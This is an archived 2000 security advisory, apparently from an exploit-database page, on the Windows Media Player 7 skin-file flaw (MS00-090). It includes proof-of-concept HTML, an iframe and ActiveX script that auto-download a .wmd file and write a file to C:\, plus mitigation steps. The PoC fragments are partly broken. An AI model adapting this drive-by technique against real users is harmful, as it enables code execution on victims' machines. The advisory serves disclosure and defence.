Microsoft Windows Media Player 7.0 - '.wms' Arbitrary Script (MS00-090)







Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.



[ GFISEC23112000 ]   Microsoft Media Player 7 allows executation of
Arbitrary Code



----[Vendor Status:

Microsoft has been informed and we have worked with them to release
a patch.

----[Systems Affected: 

Windows ME (WMP7 is installed by default)
and 95,98 NT and 2000, using:

   * Windows Media Player 7


   * Internet Explorer 3+,

   * Outlook Express 2000,

   * Outlook Express 98,

   * Outlook 2000,

   * Outlook 98

   * possibly all other HTML and/or 
    javascript enabled e-mail clients.

----[The problem:

GFI, developer of email content checking & network
security software, has recently discovered a security flaw
within Windows Media Player which allows a malicious user
to run arbitary code on a target machine as it attempts to
view a website or an HTML E-mail. 

The problem is exploited by embedding a javascript (.js) file within a
Media Player skin file (.wmz) which can also be embeded in a Windows Media 
Download file (.wmd). This does not require the user to run any attachments 
since the Media Player file is automatically executed using a iframe tag 
or a with in a <script> tag.

----[Proof of concept Exploit:

<Embedded within an HTML file or e-mail>

E-mail Example 1.

<script language="JavaScript">
function MM_openBrWindow(theURL,winName,features) { //v2.0
  alert('This exploit will now open a new window\n
  and automatically download the wmd file\n 
  and execute it. This will create a file named\n 
  gfiseclab.txt in your C:\\');,winName,features);

<body bgcolor="#FFFFFF"  

</Embedded within an HTML e-mail>

E-mail Example 2.

alert('This exploit will now open a new window \n and automatically download
the wmd file \n  

and execute it. This will create a file named \n gfiseclab.txt in your
<iframe src="http://website/test.wmd";></iframe></body>


test.wmd is a compressed zip file which contains the following files:

 * test.asx: meta file which points to an mpg file and 
     the exploit skin file

 * test.mpg: an example mpeg movie.

 * test.wmz: the exploit skin file.

test.wmz is also a compressed zip file containing:

 * test.js: our javascript which contains the following code
   var fso, f1;
   fso = new ActiveXObject("Scripting.FileSystemObject");
   f1 = fso.CreateTextFile("C:\\gfiseclab.txt", true);
   function onload(){

 * test.wms: another metafile which calls test.js



For e-mail the best solution is to apply filtering on incoming e-mails via 
the SMTP server to filter WMD and WMZ files, disable javascript iframe tags,

meta refresh tags and possibly ActiveX tags. This means that users should 
not worry about receiving malicious email and spreading worms etc.

Consider unregistering .wmd and .wmz so from being associated with Media 
Player 7 until a vendor patch is applied. Procedure:

In Windows Explorer click on View>Options>File Types and delete the 
following entries:

* Windows Media Player Skin Package.

* Windows Media Player Download Package.

This should provide some better protection.


----[Contact Information:

Sandro Gauci
GFI Security Lab


Windows Media Player is an application used for digital audio, and video content viewing.

It is possible for a user running Windows Media Player 7 to enable a skin (.wms) file and unknowingly execute an embedded malicious script. When a user attempts to retrieve a skin (.wms) file it is downloaded and resides on the user's local machine. If Windows Media Player is run with the malicious skin enabled, the Active X component would allow any arbitrary action to be achieved. Depending on internet security settings this vulnerability is also exploitable if the skin file in question resides on a web site. The script could automatically launch when a user visits the web site.

Execution of arbitrary scripts could make it possible for the malicious host to gain rights equivalent to those of the current user.